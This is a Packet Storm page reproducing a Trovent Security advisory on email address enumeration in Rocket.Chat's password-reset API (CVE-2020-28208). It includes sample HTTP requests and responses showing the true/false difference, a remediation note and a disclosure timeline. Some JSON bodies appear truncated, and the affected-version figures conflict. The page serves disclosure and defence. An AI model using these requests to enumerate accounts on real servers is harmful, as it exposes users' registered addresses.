

[Follow us on Twitter](#)


[Subscribe to an RSS Feed](#)

## File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

## Top Authors In Last 30 Days

<b>Red Hat</b> 150 files
<b>Ubuntu</b> 68 files
<b>LiquidWorm</b> 23 files
<b>Debian</b> 16 files
<b>malvuln</b> 11 files
<b>nu11security</b> 11 files
<b>Gentoo</b> 9 files
<b>Google Security Research</b> 6 files
<b>Julien Ahrens</b> 4 files
<b>T. Weber</b> 4 files

## File Tags

[ActiveX](#) (932)  
[Advisory](#) (79,754)  
[Arbitrary](#) (15,694)  
[BBS](#) (2,859)  
[Bypass](#) (1,619)  
[CGI](#) (1,018)  
[Code Execution](#) (8,926)  
[Conference](#) (673)  
[Cracker](#) (840)  
[CSRF](#) (3,290)  
[DoS](#) (22,602)  
[Encryption](#) (2,349)  
[Exploit](#) (50,359)  
[File Inclusion](#) (4,165)  
[File Upload](#) (946)  
[Firewall](#) (821)  
[Info Disclosure](#) (2,660)  
[Intrusion Detection](#) (867)  
[Java](#) (2,899)  
[JavaScript](#) (821)  
[Kernel](#) (6,291)  
[Local](#) (14,201)  
[Magazine](#) (586)  
[Overflow](#) (12,419)  
[Perl](#) (1,418)  
[PHP](#) (5,093)  
[Proof of Concept](#) (2,291)  
[Protocol](#) (3,435)  
[Python](#) (1,467)  
[Remote](#) (30,044)  
[Root](#) (3,504)  
[Ruby](#) (594)  
[Scanner](#) (1,631)  
[Security Tool](#) (7,777)  
[Shell](#) (3,103)  
[Shellcode](#) (1,204)  
[Sniffer](#) (886)

## File Archives

[December 2022](#)  
[November 2022](#)  
[October 2022](#)  
[September 2022](#)  
[August 2022](#)  
[July 2022](#)  
[June 2022](#)  
[May 2022](#)  
[April 2022](#)  
[March 2022](#)  
[February 2022](#)  
[January 2022](#)  
[Older](#)

## Systems

[AIX](#) (426)  
[Apple](#) (1,926)  
[BSD](#) (370)  
[CentOS](#) (55)  
[Cisco](#) (1,917)  
[Debian](#) (6,634)  
[Fedora](#) (1,690)  
[FreeBSD](#) (1,242)  
[Gentoo](#) (4,272)  
[HPUX](#) (878)  
[IOS](#) (330)  
[iPhone](#) (108)  
[IRIX](#) (220)  
[Juniper](#) (67)  
[Linux](#) (44,315)  
[Mac OS X](#) (684)  
[Mandriva](#) (3,105)  
[NetBSD](#) (255)  
[OpenBSD](#) (479)  
[RedHat](#) (12,469)  
[Slackware](#) (941)  
[Solaris](#) (1,607)

## Rocket.Chat 3.7.1 Email Address Enumeration

Authored by [Stefan Pietsch](#), [Trovent Security](#), [Nick Decker](#) | Site [trovent.io](#)

Posted Jan 7, 2021

Rocket.Chat versions 3.7.1 and below suffers from an email address enumeration vulnerability.

tags | [exploit](#)

advisories | [CVE-2020-28208](#)

[SHA-256](#) | 023ad89f274a1ee4b96ee849967a0021876dca5479963125bc3acb45d9a8cf6fa
 [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```

# Trovent Security Advisory 2010-01 #
#####

Email address enumeration in reset password
#####

Overview
#####

Advisory ID: TRSA-2010-01
Advisory version: 1.2
Advisory status: Public
Advisory URL: trovent.io/security-advisory-2010-01
Affected product: Web application Rocket.Chat
Affected version: <= 3.9.1
Vendor: Rocket.Chat Technologies Corp., rocket.chat
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch

Detailed description
#####

Trovent Security GmbH discovered an email address enumeration vulnerability
in the password reset function of the chat application Rocket.Chat. This vulnerability lets
an unauthorized user enumerate registered email addresses on the instance of Rocket.Chat.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE ID: CVE-2020-28208
CWE ID: CWE-204

Proof of concept
#####

Sample HTTP request sent with a registered email address:
-----
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json

{"message":{"msg":"method","method":"sendForgotPasswordEmail","params":{"id":"","id":"3"},"
-----

The server response to a valid email address:
-----
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfUEFNldbR3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:01:25 GMT
Connection: keep-alive
Content-Length: 78

{"message":{"msg":{"result":"","id":"3"},"result":{"true"},"success":true}}

Sample HTTP request sent with a non registered email address:
-----
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: */*
Content-Type: application/json

{"message":{"msg":"method","method":"sendForgotPasswordEmail","params":{"id":"","id":"3"},"
-----

The server response to an invalid email address:
-----
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfUEFNldbR3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79

{"message":{"msg":{"result":"","id":"3"},"result":{"false"},"success":true}}

Solution / Workaround
#####

Ensure the application returns consistent generic server responses independent
of the email address entered during the password reset process.

Fixed in Rocket.Chat version 3.9.2, verified by Trovent.

History
#####

2020-10-27: Vulnerability found
2020-11-03: Advisory created and CVE ID requested
2020-11-06: Vendor contacted and informed about planned disclosure date
2020-11-06: Vendor confirmed vulnerability, working on a fix
2021-01-07: Advisory published
2021-01-08: Vendor sent us information about fixed version
2021-01-13: Updated affected version (thanks LorenzNickel), verified with 3.9.1
  
```

[Login](#) or [Register](#) to add favorites

[Spoof](#) (2,166) [SUSE](#) (1,444)  
[SQL Injection](#) (16,102) [Ubuntu](#) (8,199)  
[TCP](#) (2,379) [UNIX](#) (9,159)  
[Trojan](#) (686) [UnixWare](#) (185)  
[UDP](#) (876) [Windows](#) (6,511)  
[Virus](#) (662) [Other](#)  
[Vulnerability](#) (31,136)  
[Web](#) (9,365)  
[Whitepaper](#) (3,729)  
[x86](#) (946)  
[XSS](#) (17,494)  
[Other](#)

**packet storm**

© 2022 Packet Storm. All rights reserved.

#### Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

#### About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

#### Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)